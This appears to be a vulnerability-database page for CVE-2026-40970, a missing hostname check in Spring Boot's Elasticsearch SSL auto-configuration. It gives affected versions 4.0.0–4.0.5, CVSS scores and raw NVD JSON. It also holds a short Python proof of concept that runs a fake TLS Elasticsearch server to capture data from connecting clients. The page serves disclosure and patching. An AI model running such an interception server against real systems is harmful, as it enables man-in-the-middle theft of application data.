Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-40970 CVSS 5.0 MEDIUM

CVE-2026-40970

Published: 2026-04-27 19:16:53
Last Modified: 2026-05-14 16:10:00

Description

When configured to use an SSL bundle, Spring Boot's Elasticsearch auto-configuration does not perform hostname verification when connecting to the Elasticsearch server. Affected: Spring Boot 4.0.0–4.0.5; upgrade to 4.0.6 or later per vendor advisory.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:* - VULNERABLE
Spring Boot 4.0.0
Spring Boot 4.0.1
Spring Boot 4.0.2
Spring Boot 4.0.3
Spring Boot 4.0.4
Spring Boot 4.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Simulate a Man-in-the-Middle attack exploiting missing hostname verification import socket import ssl # Setup a malicious server acting as Elasticsearch def malicious_es_server(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load a self-signed certificate (attacker controlled) context.load_cert_chain('fake_server.crt', 'fake_server.key') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(('0.0.0.0', 9200)) sock.listen(5) print("[+] Malicious server listening on port 9200...") # Wait for Spring Boot victim connection conn, addr = sock.accept() print(f"[+] Connection intercepted from: {addr}") try: # Wrap socket with SSL (Victim Spring Boot app accepts this due to CVE) with context.wrap_socket(conn, server_side=True) as ssock: print("[+] SSL Handshake successful (Hostname verification bypassed!)") # Capture data sent by the victim data = ssock.recv(4096) print(f"[+] Captured Data:\n{data.decode('utf-8')}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": malicious_es_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40970", "sourceIdentifier": "[email protected]", "published": "2026-04-27T19:16:52.967", "lastModified": "2026-05-14T16:09:59.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When configured to use an SSL bundle, Spring Boot's Elasticsearch auto-configuration does not perform hostname verification when connecting to the Elasticsearch server.\n\nAffected: Spring Boot 4.0.0–4.0.5; upgrade to 4.0.6 or later per vendor advisory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.6", "matchCriteriaId": "12A166C5-8B55-4BA3-AA8B-6024A257D441"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40970", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}